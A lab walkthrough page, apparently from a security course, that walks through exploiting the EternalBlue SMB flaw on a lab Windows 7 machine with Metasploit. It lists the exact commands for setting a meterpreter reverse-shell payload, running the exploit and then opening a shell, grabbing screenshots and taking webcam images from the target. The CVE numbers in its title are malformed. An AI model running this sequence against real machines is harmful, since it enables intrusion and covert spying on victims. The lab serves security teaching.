search

Windows Eternalblue [CVE-2017-143,144,145,146,148]

hashtag
Windows Eternalblue [CVE-2017-143,144,145,146,148]

Note: these labs are extremely oriented to the results, using a step-by-step guidance. During your progress, try to find more information and understand what you are doing.

hashtag
Requirements

Kali Linux
The Kali Linux VM (or any other type of installation)

Windows 7

The Windows 7 VM

Metasploitable Framework

Metasploit Framework toolset (installed on Kali Linux by default)

Windows 7 IP

The IP address of the Windows 7 VM. In my case it is 192.168.8.130. This may be different in your specific case.

Kali Linux IP

The IP address of the Kali Linux machine. In my case it is 192.168.8.147. This may be different in your specific case.

hashtag
Laboratory Workflow

The following describe the different steps to be conducted during the laboratory. You may introduce variations on this and learn from those variations.

hashtag
1. Launch the Metasploit Framework

msfconsole

hashtag
2. Search for the appropriate module

search eternalblue

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution

hashtag
3. Use the module

use exploit/windows/smb/ms17_010_eternalblue

set PAYLOAD windows/x64/meterpreter/reverse_tcp (this may be optional if your already have a payload configured when you select the module)

hashtag
4. Check the module options

options

hashtag
5. Set the appropriate options

set RHOSTS 192.168.8.130

set LHOST 192.168.8.147

set LPORT 4444

hashtag
6. Run the exploit

exploit

hashtag
7. Meterpreter session

Now you have a meterpreter session opened. This session will allow you to interact with the target.

hashtag
7. Open a shell on the target machine

shell

hashtag
8. Capture the screen on the target machine

screenshot

hashtag
9. Stream the screen of the target machine

screenshare

hashtag
10. Capture image from the webcam on the target machine

webcam_snap

hashtag
11. Stream from the webcam on the target machine

webcam_stream

hashtag
Video

Video that resumes everything on this laboratory.

hashtag
Questions

Now that you have completed this exploitation try to answer to following:

  1. Now, what can I do with the exploitation achieved?

  2. Which type of privileges do I have on the exploited target?

  3. How was this accomplished?

  4. Try to learn more about this vulnerability.

PreviousApache (CGI Argument Injection)NextCreate payload to exploit users

Last updated